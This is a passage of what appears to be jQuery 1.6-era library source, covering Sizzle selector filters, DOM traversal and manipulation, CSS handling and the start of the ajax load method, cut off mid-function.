ATTR: function(a, b, c, d, e, f) {
var g = a[1] = a[1].replace(i, "");
!f && l.attrMap[g] && (a[1] = l.attrMap[g]), a[4] = (a[4] || a[5] || "").replace(i, ""), a[2] === "~=" && (a[4] = " " + a[4] + " ");
return a
},
PSEUDO: function(b, c, d, e, f) {
if (b[1] === "not") if ((a.exec(b[3]) || "").length > 1 || /^\w/.test(b[3])) b[3] = k(b[3], null, null, c);
else {
var g = k.filter(b[3], c, d, !0 ^ f);
d || e.push.apply(e, g);
return !1
} else if (l.match.POS.test(b[0]) || l.match.CHILD.test(b[0])) return !0;
return b
},
POS: function(a) {
a.unshift(!0);
return a
}
},
filters: {
enabled: function(a) {
return a.disabled === !1 && a.type !== "hidden"
},
disabled: function(a) {
return a.disabled === !0
},
checked: function(a) {
return a.checked === !0
},
selected: function(a) {
a.parentNode && a.parentNode.selectedIndex;
return a.selected === !0
},
parent: function(a) {
return !!a.firstChild
},
empty: function(a) {
return !a.firstChild
},
has: function(a, b, c) {
return !!k(c[3], a).length
},
header: function(a) {
return /h\d/i.test(a.nodeName)
},
text: function(a) {
var b = a.getAttribute("type"),
c = a.type;
return a.nodeName.toLowerCase() === "input" && "text" === c && (b === c || b === null)
},
radio: function(a) {
return a.nodeName.toLowerCase() === "input" && "radio" === a.type
},
checkbox: function(a) {
return a.nodeName.toLowerCase() === "input" && "checkbox" === a.type
},
file: function(a) {
return a.nodeName.toLowerCase() === "input" && "file" === a.type
},
password: function(a) {
return a.nodeName.toLowerCase() === "input" && "password" === a.type
},
submit: function(a) {
var b = a.nodeName.toLowerCase();
return (b === "input" || b === "button") && "submit" === a.type
},
image: function(a) {
return a.nodeName.toLowerCase() === "input" && "image" === a.type
},
reset: function(a) {
var b = a.nodeName.toLowerCase();
return (b === "input" || b === "button") && "reset" === a.type
},
button: function(a) {
var b = a.nodeName.toLowerCase();
return b === "input" && "button" === a.type || b === "button"
},
input: function(a) {
return /input|select|textarea|button/i.test(a.nodeName)
},
focus: function(a) {
return a === a.ownerDocument.activeElement
}
},
setFilters: {
first: function(a, b) {
return b === 0
},
last: function(a, b, c, d) {
return b === d.length - 1
},
even: function(a, b) {
return b % 2 === 0
},
odd: function(a, b) {
return b % 2 === 1
},
lt: function(a, b, c) {
return b < c[3] - 0
},
gt: function(a, b, c) {
return b > c[3] - 0
},
nth: function(a, b, c) {
return c[3] - 0 === b
},
eq: function(a, b, c) {
return c[3] - 0 === b
}
},
filter: {
PSEUDO: function(a, b, c, d) {
var e = b[1],
f = l.filters[e];
if (f) return f(a, c, b, d);
if (e === "contains") return (a.textContent || a.innerText || k.getText([a]) || "").indexOf(b[3]) >= 0;
if (e === "not") {
var g = b[3];
for (var h = 0, i = g.length; h < i; h++) if (g[h] === a) return !1;
return !0
}
k.error(e)
},
CHILD: function(a, b) {
var c = b[1],
d = a;
switch (c) {
case "only":
case "first":
while (d = d.previousSibling) if (d.nodeType === 1) return !1;
if (c === "first") return !0;
d = a;
case "last":
while (d = d.nextSibling) if (d.nodeType === 1) return !1;
return !0;
case "nth":
var e = b[2],
f = b[3];
if (e === 1 && f === 0) return !0;
var g = b[0],
h = a.parentNode;
if (h && (h.sizcache !== g || !a.nodeIndex)) {
var i = 0;
for (d = h.firstChild; d; d = d.nextSibling) d.nodeType === 1 && (d.nodeIndex = ++i);
h.sizcache = g
}
var j = a.nodeIndex - f;
return e === 0 ? j === 0 : j % e === 0 && j / e >= 0
}
},
ID: function(a, b) {
return a.nodeType === 1 && a.getAttribute("id") === b
},
TAG: function(a, b) {
return b === "*" && a.nodeType === 1 || a.nodeName.toLowerCase() === b
},
CLASS: function(a, b) {
return (" " + (a.className || a.getAttribute("class")) + " ").indexOf(b) > -1
},
ATTR: function(a, b) {
var c = b[1],
d = l.attrHandle[c] ? l.attrHandle[c](a) : a[c] != null ? a[c] : a.getAttribute(c),
e = d + "",
f = b[2],
g = b[4];
return d == null ? f === "!=" : f === "=" ? e === g : f === "*=" ? e.indexOf(g) >= 0 : f === "~=" ? (" " + e + " ").indexOf(g) >= 0 : g ? f === "!=" ? e !== g : f === "^=" ? e.indexOf(g) === 0 : f === "$=" ? e.substr(e.length - g.length) === g : f === "|=" ? e === g || e.substr(0, g.length + 1) === g + "-" : !1 : e && d !== !1
},
POS: function(a, b, c, d) {
var e = b[2],
f = l.setFilters[e];
if (f) return f(a, c, b, d)
}
}
},
m = l.match.POS,
n = function(a, b) {
return "\\" + (b - 0 + 1)
};
for (var o in l.match) l.match[o] = new RegExp(l.match[o].source + /(?![^\[]*\])(?![^\(]*\))/.source), l.leftMatch[o] = new RegExp(/(^(?:.|\r|\n)*?)/.source + l.match[o].source.replace(/\\(\d+)/g, n));
var p = function(a, b) {
a = Array.prototype.slice.call(a, 0);
if (b) {
b.push.apply(b, a);
return b
}
return a
};
try {
Array.prototype.slice.call(c.documentElement.childNodes, 0)[0].nodeType
} catch (q) {
p = function(a, b) {
var c = 0,
d = b || [];
if (e.call(a) === "[object Array]") Array.prototype.push.apply(d, a);
else if (typeof a.length == "number") for (var f = a.length; c < f; c++) d.push(a[c]);
else for (; a[c]; c++) d.push(a[c]);
return d
}
}
var r, s;
c.documentElement.compareDocumentPosition ? r = function(a, b) {
if (a === b) {
g = !0;
return 0
}
if (!a.compareDocumentPosition || !b.compareDocumentPosition) return a.compareDocumentPosition ? -1 : 1;
return a.compareDocumentPosition(b) & 4 ? -1 : 1
} : (r = function(a, b) {
if (a === b) {
g = !0;
return 0
}
if (a.sourceIndex && b.sourceIndex) return a.sourceIndex - b.sourceIndex;
var c, d, e = [],
f = [],
h = a.parentNode,
i = b.parentNode,
j = h;
if (h === i) return s(a, b);
if (!h) return -1;
if (!i) return 1;
while (j) e.unshift(j), j = j.parentNode;
j = i;
while (j) f.unshift(j), j = j.parentNode;
c = e.length, d = f.length;
for (var k = 0; k < c && k < d; k++) if (e[k] !== f[k]) return s(e[k], f[k]);
return k === c ? s(a, f[k], -1) : s(e[k], b, 1)
}, s = function(a, b, c) {
if (a === b) return c;
var d = a.nextSibling;
while (d) {
if (d === b) return -1;
d = d.nextSibling
}
return 1
}), k.getText = function(a) {
var b = "",
c;
for (var d = 0; a[d]; d++) c = a[d], c.nodeType === 3 || c.nodeType === 4 ? b += c.nodeValue : c.nodeType !== 8 && (b += k.getText(c.childNodes));
return b
}, function() {
var a = c.createElement("div"),
d = "script" + (new Date).getTime(),
e = c.documentElement;
a.innerHTML = "<a name='" + d + "'/>", e.insertBefore(a, e.firstChild), c.getElementById(d) && (l.find.ID = function(a, c, d) {
if (typeof c.getElementById != "undefined" && !d) {
var e = c.getElementById(a[1]);
return e ? e.id === a[1] || typeof e.getAttributeNode != "undefined" && e.getAttributeNode("id").nodeValue === a[1] ? [e] : b : []
}
}, l.filter.ID = function(a, b) {
var c = typeof a.getAttributeNode != "undefined" && a.getAttributeNode("id");
return a.nodeType === 1 && c && c.nodeValue === b
}), e.removeChild(a), e = a = null
}(), function() {
var a = c.createElement("div");
a.appendChild(c.createComment("")), a.getElementsByTagName("*").length > 0 && (l.find.TAG = function(a, b) {
var c = b.getElementsByTagName(a[1]);
if (a[1] === "*") {
var d = [];
for (var e = 0; c[e]; e++) c[e].nodeType === 1 && d.push(c[e]);
c = d
}
return c
}), a.innerHTML = "<a href='#'></a>", a.firstChild && typeof a.firstChild.getAttribute != "undefined" && a.firstChild.getAttribute("href") !== "#" && (l.attrHandle.href = function(a) {
return a.getAttribute("href", 2)
}), a = null
}(), c.querySelectorAll &&
function() {
var a = k,
b = c.createElement("div"),
d = "__sizzle__";
b.innerHTML = "<p class='TEST'></p>";
if (!b.querySelectorAll || b.querySelectorAll(".TEST").length !== 0) {
k = function(b, e, f, g) {
e = e || c;
if (!g && !k.isXML(e)) {
var h = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);
if (h && (e.nodeType === 1 || e.nodeType === 9)) {
if (h[1]) return p(e.getElementsByTagName(b), f);
if (h[2] && l.find.CLASS && e.getElementsByClassName) return p(e.getElementsByClassName(h[2]), f)
}
if (e.nodeType === 9) {
if (b === "body" && e.body) return p([e.body], f);
if (h && h[3]) {
var i = e.getElementById(h[3]);
if (!i || !i.parentNode) return p([], f);
if (i.id === h[3]) return p([i], f)
}
try {
return p(e.querySelectorAll(b), f)
} catch (j) {}
} else if (e.nodeType === 1 && e.nodeName.toLowerCase() !== "object") {
var m = e,
n = e.getAttribute("id"),
o = n || d,
q = e.parentNode,
r = /^\s*[+~]/.test(b);
n ? o = o.replace(/'/g, "\\$&") : e.setAttribute("id", o), r && q && (e = e.parentNode);
try {
if (!r || q) return p(e.querySelectorAll("[id='" + o + "'] " + b), f)
} catch (s) {} finally {
n || m.removeAttribute("id")
}
}
}
return a(b, e, f, g)
};
for (var e in a) k[e] = a[e];
b = null
}
}(), function() {
var a = c.documentElement,
b = a.matchesSelector || a.mozMatchesSelector || a.webkitMatchesSelector || a.msMatchesSelector;
if (b) {
var d = !b.call(c.createElement("div"), "div"),
e = !1;
try {
b.call(c.documentElement, "[test!='']:sizzle")
} catch (f) {
e = !0
}
k.matchesSelector = function(a, c) {
c = c.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
if (!k.isXML(a)) try {
if (e || !l.match.PSEUDO.test(c) && !/!=/.test(c)) {
var f = b.call(a, c);
if (f || !d || a.document && a.document.nodeType !== 11) return f
}
} catch (g) {}
return k(c, null, null, [a]).length > 0
}
}
}(), function() {
var a = c.createElement("div");
a.innerHTML = "<div class='test e'></div><div class='test'></div>";
if ( !! a.getElementsByClassName && a.getElementsByClassName("e").length !== 0) {
a.lastChild.className = "e";
if (a.getElementsByClassName("e").length === 1) return;
l.order.splice(1, 0, "CLASS"), l.find.CLASS = function(a, b, c) {
if (typeof b.getElementsByClassName != "undefined" && !c) return b.getElementsByClassName(a[1])
}, a = null
}
}(), c.documentElement.contains ? k.contains = function(a, b) {
return a !== b && (a.contains ? a.contains(b) : !0)
} : c.documentElement.compareDocumentPosition ? k.contains = function(a, b) {
return !!(a.compareDocumentPosition(b) & 16)
} : k.contains = function() {
return !1
}, k.isXML = function(a) {
var b = (a ? a.ownerDocument || a : 0).documentElement;
return b ? b.nodeName !== "HTML" : !1
};
var v = function(a, b) {
var c, d = [],
e = "",
f = b.nodeType ? [b] : b;
while (c = l.match.PSEUDO.exec(a)) e += c[0], a = a.replace(l.match.PSEUDO, "");
a = l.relative[a] ? a + "*" : a;
for (var g = 0, h = f.length; g < h; g++) k(a, f[g], d);
return k.filter(e, d)
};
f.find = k, f.expr = k.selectors, f.expr[":"] = f.expr.filters, f.unique = k.uniqueSort, f.text = k.getText, f.isXMLDoc = k.isXML, f.contains = k.contains
}();
var P = /Until$/,
Q = /^(?:parents|prevUntil|prevAll)/,
R = /,/,
S = /^.[^:#\[\.,]*$/,
T = Array.prototype.slice,
U = f.expr.match.POS,
V = {
children: !0,
contents: !0,
next: !0,
prev: !0
};
f.fn.extend({
find: function(a) {
var b = this,
c, d;
if (typeof a != "string") return f(a).filter(function() {
for (c = 0, d = b.length; c < d; c++) if (f.contains(b[c], this)) return !0
});
var e = this.pushStack("", "find", a),
g, h, i;
for (c = 0, d = this.length; c < d; c++) {
g = e.length, f.find(a, this[c], e);
if (c > 0) for (h = g; h < e.length; h++) for (i = 0; i < g; i++) if (e[i] === e[h]) {
e.splice(h--, 1);
break
}
}
return e
},
has: function(a) {
var b = f(a);
return this.filter(function() {
for (var a = 0, c = b.length; a < c; a++) if (f.contains(this, b[a])) return !0
})
},
not: function(a) {
return this.pushStack(X(this, a, !1), "not", a)
},
filter: function(a) {
return this.pushStack(X(this, a, !0), "filter", a)
},
is: function(a) {
return !!a && (typeof a == "string" ? f.filter(a, this).length > 0 : this.filter(a).length > 0)
},
closest: function(a, b) {
var c = [],
d, e, g = this[0];
if (f.isArray(a)) {
var h, i, j = {},
k = 1;
if (g && a.length) {
for (d = 0, e = a.length; d < e; d++) i = a[d], j[i] || (j[i] = U.test(i) ? f(i, b || this.context) : i);
while (g && g.ownerDocument && g !== b) {
for (i in j) h = j[i], (h.jquery ? h.index(g) > -1 : f(g).is(h)) && c.push({
selector: i,
elem: g,
level: k
});
g = g.parentNode, k++
}
}
return c
}
var l = U.test(a) || typeof a != "string" ? f(a, b || this.context) : 0;
for (d = 0, e = this.length; d < e; d++) {
g = this[d];
while (g) {
if (l ? l.index(g) > -1 : f.find.matchesSelector(g, a)) {
c.push(g);
break
}
g = g.parentNode;
if (!g || !g.ownerDocument || g === b || g.nodeType === 11) break
}
}
c = c.length > 1 ? f.unique(c) : c;
return this.pushStack(c, "closest", a)
},
index: function(a) {
if (!a || typeof a == "string") return f.inArray(this[0], a ? f(a) : this.parent().children());
return f.inArray(a.jquery ? a[0] : a, this)
},
add: function(a, b) {
var c = typeof a == "string" ? f(a, b) : f.makeArray(a && a.nodeType ? [a] : a),
d = f.merge(this.get(), c);
return this.pushStack(W(c[0]) || W(d[0]) ? d : f.unique(d))
},
andSelf: function() {
return this.add(this.prevObject)
}
}), f.each({
parent: function(a) {
var b = a.parentNode;
return b && b.nodeType !== 11 ? b : null
},
parents: function(a) {
return f.dir(a, "parentNode")
},
parentsUntil: function(a, b, c) {
return f.dir(a, "parentNode", c)
},
next: function(a) {
return f.nth(a, 2, "nextSibling")
},
prev: function(a) {
return f.nth(a, 2, "previousSibling")
},
nextAll: function(a) {
return f.dir(a, "nextSibling")
},
prevAll: function(a) {
return f.dir(a, "previousSibling")
},
nextUntil: function(a, b, c) {
return f.dir(a, "nextSibling", c)
},
prevUntil: function(a, b, c) {
return f.dir(a, "previousSibling", c)
},
siblings: function(a) {
return f.sibling(a.parentNode.firstChild, a)
},
children: function(a) {
return f.sibling(a.firstChild)
},
contents: function(a) {
return f.nodeName(a, "iframe") ? a.contentDocument || a.contentWindow.document : f.makeArray(a.childNodes)
}
}, function(a, b) {
f.fn[a] = function(c, d) {
var e = f.map(this, b, c),
g = T.call(arguments);
P.test(a) || (d = c), d && typeof d == "string" && (e = f.filter(d, e)), e = this.length > 1 && !V[a] ? f.unique(e) : e, (this.length > 1 || R.test(d)) && Q.test(a) && (e = e.reverse());
return this.pushStack(e, a, g.join(","))
}
}), f.extend({
filter: function(a, b, c) {
c && (a = ":not(" + a + ")");
return b.length === 1 ? f.find.matchesSelector(b[0], a) ? [b[0]] : [] : f.find.matches(a, b)
},
dir: function(a, c, d) {
var e = [],
g = a[c];
while (g && g.nodeType !== 9 && (d === b || g.nodeType !== 1 || !f(g).is(d))) g.nodeType === 1 && e.push(g), g = g[c];
return e
},
nth: function(a, b, c, d) {
b = b || 1;
var e = 0;
for (; a; a = a[c]) if (a.nodeType === 1 && ++e === b) break;
return a
},
sibling: function(a, b) {
var c = [];
for (; a; a = a.nextSibling) a.nodeType === 1 && a !== b && c.push(a);
return c
}
});
var Y = / jQuery\d+="(?:\d+|null)"/g,
Z = /^\s+/,
$ = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,
_ = /<([\w:]+)/,
ba = /<tbody/i,
bb = /<|&#?\w+;/,
bc = /<(?:script|object|embed|option|style)/i,
bd = /checked\s*(?:[^=]|=\s*.checked.)/i,
be = /\/(java|ecma)script/i,
bf = /^\s*<!(?:\[CDATA\[|\-\-)/,
bg = {
option: [1, "<select multiple='multiple'>", "</select>"],
legend: [1, "<fieldset>", "</fieldset>"],
thead: [1, "<table>", "</table>"],
tr: [2, "<table><tbody>", "</tbody></table>"],
td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
area: [1, "<map>", "</map>"],
_default: [0, "", ""]
};
bg.optgroup = bg.option, bg.tbody = bg.tfoot = bg.colgroup = bg.caption = bg.thead, bg.th = bg.td, f.support.htmlSerialize || (bg._default = [1, "div<div>", "</div>"]), f.fn.extend({
text: function(a) {
if (f.isFunction(a)) return this.each(function(b) {
var c = f(this);
c.text(a.call(this, b, c.text()))
});
if (typeof a != "object" && a !== b) return this.empty().append((this[0] && this[0].ownerDocument || c).createTextNode(a));
return f.text(this)
},
wrapAll: function(a) {
if (f.isFunction(a)) return this.each(function(b) {
f(this).wrapAll(a.call(this, b))
});
if (this[0]) {
var b = f(a, this[0].ownerDocument).eq(0).clone(!0);
this[0].parentNode && b.insertBefore(this[0]), b.map(function() {
var a = this;
while (a.firstChild && a.firstChild.nodeType === 1) a = a.firstChild;
return a
}).append(this)
}
return this
},
wrapInner: function(a) {
if (f.isFunction(a)) return this.each(function(b) {
f(this).wrapInner(a.call(this, b))
});
return this.each(function() {
var b = f(this),
c = b.contents();
c.length ? c.wrapAll(a) : b.append(a)
})
},
wrap: function(a) {
return this.each(function() {
f(this).wrapAll(a)
})
},
unwrap: function() {
return this.parent().each(function() {
f.nodeName(this, "body") || f(this).replaceWith(this.childNodes)
}).end()
},
append: function() {
return this.domManip(arguments, !0, function(a) {
this.nodeType === 1 && this.appendChild(a)
})
},
prepend: function() {
return this.domManip(arguments, !0, function(a) {
this.nodeType === 1 && this.insertBefore(a, this.firstChild)
})
},
before: function() {
if (this[0] && this[0].parentNode) return this.domManip(arguments, !1, function(a) {
this.parentNode.insertBefore(a, this)
});
if (arguments.length) {
var a = f(arguments[0]);
a.push.apply(a, this.toArray());
return this.pushStack(a, "before", arguments)
}
},
after: function() {
if (this[0] && this[0].parentNode) return this.domManip(arguments, !1, function(a) {
this.parentNode.insertBefore(a, this.nextSibling)
});
if (arguments.length) {
var a = this.pushStack(this, "after", arguments);
a.push.apply(a, f(arguments[0]).toArray());
return a
}
},
remove: function(a, b) {
for (var c = 0, d;
(d = this[c]) != null; c++) if (!a || f.filter(a, [d]).length)!b && d.nodeType === 1 && (f.cleanData(d.getElementsByTagName("*")), f.cleanData([d])), d.parentNode && d.parentNode.removeChild(d);
return this
},
empty: function() {
for (var a = 0, b;
(b = this[a]) != null; a++) {
b.nodeType === 1 && f.cleanData(b.getElementsByTagName("*"));
while (b.firstChild) b.removeChild(b.firstChild)
}
return this
},
clone: function(a, b) {
a = a == null ? !1 : a, b = b == null ? a : b;
return this.map(function() {
return f.clone(this, a, b)
})
},
html: function(a) {
if (a === b) return this[0] && this[0].nodeType === 1 ? this[0].innerHTML.replace(Y, "") : null;
if (typeof a == "string" && !bc.test(a) && (f.support.leadingWhitespace || !Z.test(a)) && !bg[(_.exec(a) || ["", ""])[1].toLowerCase()]) {
a = a.replace($, "<$1></$2>");
try {
for (var c = 0, d = this.length; c < d; c++) this[c].nodeType === 1 && (f.cleanData(this[c].getElementsByTagName("*")), this[c].innerHTML = a)
} catch (e) {
this.empty().append(a)
}
} else f.isFunction(a) ? this.each(function(b) {
var c = f(this);
c.html(a.call(this, b, c.html()))
}) : this.empty().append(a);
return this
},
replaceWith: function(a) {
if (this[0] && this[0].parentNode) {
if (f.isFunction(a)) return this.each(function(b) {
var c = f(this),
d = c.html();
c.replaceWith(a.call(this, b, d))
});
typeof a != "string" && (a = f(a).detach());
return this.each(function() {
var b = this.nextSibling,
c = this.parentNode;
f(this).remove(), b ? f(b).before(a) : f(c).append(a)
})
}
return this.length ? this.pushStack(f(f.isFunction(a) ? a() : a), "replaceWith", a) : this
},
detach: function(a) {
return this.remove(a, !0)
},
domManip: function(a, c, d) {
var e, g, h, i, j = a[0],
k = [];
if (!f.support.checkClone && arguments.length === 3 && typeof j == "string" && bd.test(j)) return this.each(function() {
f(this).domManip(a, c, d, !0)
});
if (f.isFunction(j)) return this.each(function(e) {
var g = f(this);
a[0] = j.call(this, e, c ? g.html() : b), g.domManip(a, c, d)
});
if (this[0]) {
i = j && j.parentNode, f.support.parentNode && i && i.nodeType === 11 && i.childNodes.length === this.length ? e = {
fragment: i
} : e = f.buildFragment(a, this, k), h = e.fragment, h.childNodes.length === 1 ? g = h = h.firstChild : g = h.firstChild;
if (g) {
c = c && f.nodeName(g, "tr");
for (var l = 0, m = this.length, n = m - 1; l < m; l++) d.call(c ? bh(this[l], g) : this[l], e.cacheable || m > 1 && l < n ? f.clone(h, !0, !0) : h)
}
k.length && f.each(k, bn)
}
return this
}
}), f.buildFragment = function(a, b, d) {
var e, g, h, i = b && b[0] ? b[0].ownerDocument || b[0] : c;
a.length === 1 && typeof a[0] == "string" && a[0].length < 512 && i === c && a[0].charAt(0) === "<" && !bc.test(a[0]) && (f.support.checkClone || !bd.test(a[0])) && (g = !0, h = f.fragments[a[0]], h && h !== 1 && (e = h)), e || (e = i.createDocumentFragment(), f.clean(a, i, e, d)), g && (f.fragments[a[0]] = h ? e : 1);
return {
fragment: e,
cacheable: g
}
}, f.fragments = {}, f.each({
appendTo: "append",
prependTo: "prepend",
insertBefore: "before",
insertAfter: "after",
replaceAll: "replaceWith"
}, function(a, b) {
f.fn[a] = function(c) {
var d = [],
e = f(c),
g = this.length === 1 && this[0].parentNode;
if (g && g.nodeType === 11 && g.childNodes.length === 1 && e.length === 1) {
e[b](this[0]);
return this
}
for (var h = 0, i = e.length; h < i; h++) {
var j = (h > 0 ? this.clone(!0) : this).get();
f(e[h])[b](j), d = d.concat(j)
}
return this.pushStack(d, a, e.selector)
}
}), f.extend({
clone: function(a, b, c) {
var d = a.cloneNode(!0),
e, g, h;
if ((!f.support.noCloneEvent || !f.support.noCloneChecked) && (a.nodeType === 1 || a.nodeType === 11) && !f.isXMLDoc(a)) {
bj(a, d), e = bk(a), g = bk(d);
for (h = 0; e[h]; ++h) bj(e[h], g[h])
}
if (b) {
bi(a, d);
if (c) {
e = bk(a), g = bk(d);
for (h = 0; e[h]; ++h) bi(e[h], g[h])
}
}
return d
},
clean: function(a, b, d, e) {
var g;
b = b || c, typeof b.createElement == "undefined" && (b = b.ownerDocument || b[0] && b[0].ownerDocument || c);
var h = [],
i;
for (var j = 0, k;
(k = a[j]) != null; j++) {
typeof k == "number" && (k += "");
if (!k) continue;
if (typeof k == "string") if (!bb.test(k)) k = b.createTextNode(k);
else {
k = k.replace($, "<$1></$2>");
var l = (_.exec(k) || ["", ""])[1].toLowerCase(),
m = bg[l] || bg._default,
n = m[0],
o = b.createElement("div");
o.innerHTML = m[1] + k + m[2];
while (n--) o = o.lastChild;
if (!f.support.tbody) {
var p = ba.test(k),
q = l === "table" && !p ? o.firstChild && o.firstChild.childNodes : m[1] === "<table>" && !p ? o.childNodes : [];
for (i = q.length - 1; i >= 0; --i) f.nodeName(q[i], "tbody") && !q[i].childNodes.length && q[i].parentNode.removeChild(q[i])
}!f.support.leadingWhitespace && Z.test(k) && o.insertBefore(b.createTextNode(Z.exec(k)[0]), o.firstChild), k = o.childNodes
}
var r;
if (!f.support.appendChecked) if (k[0] && typeof(r = k.length) == "number") for (i = 0; i < r; i++) bm(k[i]);
else bm(k);
k.nodeType ? h.push(k) : h = f.merge(h, k)
}
if (d) {
g = function(a) {
return !a.type || be.test(a.type)
};
for (j = 0; h[j]; j++) if (e && f.nodeName(h[j], "script") && (!h[j].type || h[j].type.toLowerCase() === "text/javascript")) e.push(h[j].parentNode ? h[j].parentNode.removeChild(h[j]) : h[j]);
else {
if (h[j].nodeType === 1) {
var s = f.grep(h[j].getElementsByTagName("script"), g);
h.splice.apply(h, [j + 1, 0].concat(s))
}
d.appendChild(h[j])
}
}
return h
},
cleanData: function(a) {
var b, c, d = f.cache,
e = f.expando,
g = f.event.special,
h = f.support.deleteExpando;
for (var i = 0, j;
(j = a[i]) != null; i++) {
if (j.nodeName && f.noData[j.nodeName.toLowerCase()]) continue;
c = j[f.expando];
if (c) {
b = d[c] && d[c][e];
if (b && b.events) {
for (var k in b.events) g[k] ? f.event.remove(j, k) : f.removeEvent(j, k, b.handle);
b.handle && (b.handle.elem = null)
}
h ? delete j[f.expando] : j.removeAttribute && j.removeAttribute(f.expando), delete d[c]
}
}
}
});
var bo = /alpha\([^)]*\)/i,
bp = /opacity=([^)]*)/,
bq = /-([a-z])/ig,
br = /([A-Z]|^ms)/g,
bs = /^-?\d+(?:px)?$/i,
bt = /^-?\d/,
bu = /^[+\-]=/,
bv = /[^+\-\.\de]+/g,
bw = {
position: "absolute",
visibility: "hidden",
display: "block"
},
bx = ["Left", "Right"],
by = ["Top", "Bottom"],
bz, bA, bB, bC = function(a, b) {
return b.toUpperCase()
};
f.fn.css = function(a, c) {
if (arguments.length === 2 && c === b) return this;
return f.access(this, a, c, !0, function(a, c, d) {
return d !== b ? f.style(a, c, d) : f.css(a, c)
})
}, f.extend({
cssHooks: {
opacity: {
get: function(a, b) {
if (b) {
var c = bz(a, "opacity", "opacity");
return c === "" ? "1" : c
}
return a.style.opacity
}
}
},
cssNumber: {
zIndex: !0,
fontWeight: !0,
opacity: !0,
zoom: !0,
lineHeight: !0,
widows: !0,
orphans: !0
},
cssProps: {
"float": f.support.cssFloat ? "cssFloat" : "styleFloat"
},
style: function(a, c, d, e) {
if ( !! a && a.nodeType !== 3 && a.nodeType !== 8 && !! a.style) {
var g, h, i = f.camelCase(c),
j = a.style,
k = f.cssHooks[i];
c = f.cssProps[i] || i;
if (d === b) {
if (k && "get" in k && (g = k.get(a, !1, e)) !== b) return g;
return j[c]
}
h = typeof d;
if (h === "number" && isNaN(d) || d == null) return;
h === "string" && bu.test(d) && (d = +d.replace(bv, "") + parseFloat(f.css(a, c))), h === "number" && !f.cssNumber[i] && (d += "px");
if (!k || !("set" in k) || (d = k.set(a, d)) !== b) try {
j[c] = d
} catch (l) {}
}
},
css: function(a, c, d) {
var e, g;
c = f.camelCase(c), g = f.cssHooks[c], c = f.cssProps[c] || c, c === "cssFloat" && (c = "float");
if (g && "get" in g && (e = g.get(a, !0, d)) !== b) return e;
if (bz) return bz(a, c)
},
swap: function(a, b, c) {
var d = {};
for (var e in b) d[e] = a.style[e], a.style[e] = b[e];
c.call(a);
for (e in b) a.style[e] = d[e]
},
camelCase: function(a) {
return a.replace(bq, bC)
}
}), f.curCSS = f.css, f.each(["height", "width"], function(a, b) {
f.cssHooks[b] = {
get: function(a, c, d) {
var e;
if (c) {
a.offsetWidth !== 0 ? e = bD(a, b, d) : f.swap(a, bw, function() {
e = bD(a, b, d)
});
if (e <= 0) {
e = bz(a, b, b), e === "0px" && bB && (e = bB(a, b, b));
if (e != null) return e === "" || e === "auto" ? "0px" : e
}
if (e < 0 || e == null) {
e = a.style[b];
return e === "" || e === "auto" ? "0px" : e
}
return typeof e == "string" ? e : e + "px"
}
},
set: function(a, b) {
if (!bs.test(b)) return b;
b = parseFloat(b);
if (b >= 0) return b + "px"
}
}
}), f.support.opacity || (f.cssHooks.opacity = {
get: function(a, b) {
return bp.test((b && a.currentStyle ? a.currentStyle.filter : a.style.filter) || "") ? parseFloat(RegExp.$1) / 100 + "" : b ? "1" : ""
},
set: function(a, b) {
var c = a.style,
d = a.currentStyle;
c.zoom = 1;
var e = f.isNaN(b) ? "" : "alpha(opacity=" + b * 100 + ")",
g = d && d.filter || c.filter || "";
c.filter = bo.test(g) ? g.replace(bo, e) : g + " " + e
}
}), f(function() {
f.support.reliableMarginRight || (f.cssHooks.marginRight = {
get: function(a, b) {
var c;
f.swap(a, {
display: "inline-block"
}, function() {
b ? c = bz(a, "margin-right", "marginRight") : c = a.style.marginRight
});
return c
}
})
}), c.defaultView && c.defaultView.getComputedStyle && (bA = function(a, c) {
var d, e, g;
c = c.replace(br, "-$1").toLowerCase();
if (!(e = a.ownerDocument.defaultView)) return b;
if (g = e.getComputedStyle(a, null)) d = g.getPropertyValue(c), d === "" && !f.contains(a.ownerDocument.documentElement, a) && (d = f.style(a, c));
return d
}), c.documentElement.currentStyle && (bB = function(a, b) {
var c, d = a.currentStyle && a.currentStyle[b],
e = a.runtimeStyle && a.runtimeStyle[b],
f = a.style;
!bs.test(d) && bt.test(d) && (c = f.left, e && (a.runtimeStyle.left = a.currentStyle.left), f.left = b === "fontSize" ? "1em" : d || 0, d = f.pixelLeft + "px", f.left = c, e && (a.runtimeStyle.left = e));
return d === "" ? "auto" : d
}), bz = bA || bB, f.expr && f.expr.filters && (f.expr.filters.hidden = function(a) {
var b = a.offsetWidth,
c = a.offsetHeight;
return b === 0 && c === 0 || !f.support.reliableHiddenOffsets && (a.style.display || f.css(a, "display")) === "none"
}, f.expr.filters.visible = function(a) {
return !f.expr.filters.hidden(a)
});
var bE = /%20/g,
bF = /\[\]$/,
bG = /\r?\n/g,
bH = /#.*$/,
bI = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
bJ = /^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,
bK = /^(?:about|app|app\-storage|.+\-extension|file|widget):$/,
bL = /^(?:GET|HEAD)$/,
bM = /^\/\//,
bN = /\?/,
bO = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
bP = /^(?:select|textarea)/i,
bQ = /\s+/,
bR = /([?&])_=[^&]*/,
bS = /^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,
bT = f.fn.load,
bU = {},
bV = {},
bW, bX;
try {
bW = e.href
} catch (bY) {
bW = c.createElement("a"), bW.href = "", bW = bW.href
}
bX = bS.exec(bW.toLowerCase()) || [], f.fn.extend({
load: function(a, c, d) {
if (typeof a != "string" && bT) return bT.apply(this, arguments);
if (!this.length) return this;
var e = a.indexOf(" ");
if (e >= 0) {
var g = a.slice(e, a.length);
a = a.slice(0, e)
}
var h = "GET";
c && (f.isFunction(c) ? (d = c, c = b) : typeof c == "object" && (c = f.param(c, f.ajaxSettings.traditional), h = "POST"));
var i = this;
f.ajax({
url: a,
type: h,
dataType: "html",
data: c,
complete: function(a, b, c) {
c = a.responseText, a.isResolved() && (a.done(function(a) {
c = a
